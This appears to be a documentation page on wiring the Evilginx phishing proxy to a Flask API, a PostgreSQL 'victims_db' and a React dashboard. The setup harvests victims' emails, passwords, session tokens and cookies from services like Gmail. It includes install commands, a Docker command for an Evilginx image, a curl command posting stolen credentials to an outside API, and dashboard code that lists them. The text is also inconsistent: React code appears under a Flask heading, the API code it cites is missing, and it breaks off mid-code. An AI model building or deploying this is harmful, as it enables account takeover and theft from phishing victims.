Integration API

Steps for connecting system Web Interface

System architecture EvilGinx: Used to intercept victims' data. It is configured for various services (for example, Gmail, Facebook, etc.) with the ability to easily add new goals.

Web Interface API: A RESTful Python API is created using Flask, which processes requests and manages victim data.

Database: A relational database (for example, PostgreSQL) is used to store victim data and attack statistics.

Web interface: A modern interface is being created on React.js or Vue.js for visualization of collected data and analytics.

Environment preparation:

Make sure that you have all the necessary tools and dependencies installed:

  • Python (for API)

  • Node.js and npm (for the web interface)

  • PostgreSQL (or another database)

  • Docker (if you use it for Evilginx)

Installing and configuring the database:

Install PostgreSQL and create a database for your project. At the command prompt, run the following commands:

sudo apt-get update
sudo apt-get install postgresql postgresql-contrib

sudo service postgresql start

sudo -u postgres psql
CREATE DATABASE victims_db;
CREATE USER user WITH PASSWORD 'password';
GRANT ALL PRIVILEGES ON DATABASE victims_db TO user;
\q

Configuring and launching the API:

Create a virtual environment for your Python project and install the necessary libraries:

python -m venv venv source venv/bin/activate pip install Flask Flask-SQLAlchemy bcrypt

Save the API code (provided earlier) to a file, for example, app.py . Launch the API:

python app.py

Make sure that the API is working by opening a browser and going to http://localhost:5000/api/victims (should return an empty list).

Configuring Evilginx:

Install Evilginx if you haven't already. If you are using Docker, run:

docker run -d -p 443:443 --name evilginx evi1grey5/evilginx3.9

Configure Evilginx by following the documentation so that it can intercept data from target sites.

Configuring and launching the web interface:

Create a new React project:

npx create-react-app victim-dashboard

cd victim-dashboard

Install the necessary libraries for working with the API and visualization (for example, Axis for queries and Chart.js for graphs):

npm install axios chart.js react-chartjs-2

Open a browser and navigate to http://localhost:3000 to see your interface.

Connecting components:

Make sure that your API is configured to accept requests from the web interface. If they are on different ports, you may need to configure CORS in your API.:

from flask_cors import CORS app = Flask(name) CORS(app)

Configuring EvilGinx to send data to the API Sending data about victims:

We use curl or the built-in EvilGinx functions to send victim data to the API after successful login.

curl -X POST http://yourapi.com/api/victims -H "Content-Type: application/json" -d '{"email": "[email protected]", "password": "password123"}'

Creating a RESTful API Creating an API on Flask:

We are creating an API with several endpoints for managing victim data and statistics as well.

import React, { useEffect, useState } from 'react';

function VictimDashboard() {
    const [victims, setVictims] = useState([]);

    useEffect(() => {
        fetch('http://yourapi.com/api/victims')
            .then(response => response.json())
            .then(data => setVictims(data))
            .catch(error => console.error('Error:', error));
    }, []);

    return (
        <div>
            <h1>Victim Dashboard</h1>
            <table>
                <thead>
                    <tr>
                        <th>Email</th>
                        <th>Password</th>
                        <th>Token</th>
                        <th>Cookies</th>
                        <th>ip</th>
                        <th>User-Agent</th>
                        <th>Time</th>
                        <th>Time</th>
                    </tr>
                </thead>
                <tbody>
                    {victims.map(v

Last updated

Was this helpful?